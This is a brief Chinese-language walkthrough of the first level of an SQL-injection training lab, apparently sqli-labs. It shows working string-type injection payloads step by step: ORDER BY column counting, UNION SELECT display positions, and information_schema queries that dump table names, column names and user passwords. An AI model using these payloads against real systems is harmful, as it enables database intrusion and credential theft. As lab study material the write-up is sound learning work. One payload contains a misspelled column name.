第一关
1.首先判断是何种类型注入
根据?id=1 and 1=1和?id=1 and 1=2,页面无变化,说明and 1=1和and 1=2语句未被执行,由此判断不是数字型注入;
根据语句?id=1'and 1=1--+和?id=1'and 1=2--+,页面有明显变化,1=1为真,正常返回,1=2为假,页面报错,由此可以判断是字符型注入;(注意此处字符型构造sql语句时后面必须加--+,否则一律报错,--+是注释掉后面所有语句的作用,至于为啥不加会报错,我也不清楚);
2.爆破列数
根据语句?id=1' order by 4--+报错,然后?id=1' order by 3--+正常回显,可知表的列数为3;(此处一般直接order by一个较大的数,然后依次递减,到正常的那个数即为列数)
3.爆出显示位
根据语句?id=-1' union select 1,2,3 --+,得到回显位置;顺便一个语句?id=-1' union select 1,database(),version()--+,获取数据库名和版本信息(注意此处id必须设为-1,即一个不存在的id,才能正常回显数据)
4.爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat是将查询到的结果连接起来,否则只会显示一个表名
5.爆字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
从以上爆出的字段名可以看到有username和password两个敏感字段,所以接下来就是爆字段的内容
6.爆字段内容
?id=-1'union select 1,2,group_concat(user_id,useranme,password) from users--+
到这里第一关就算结束啦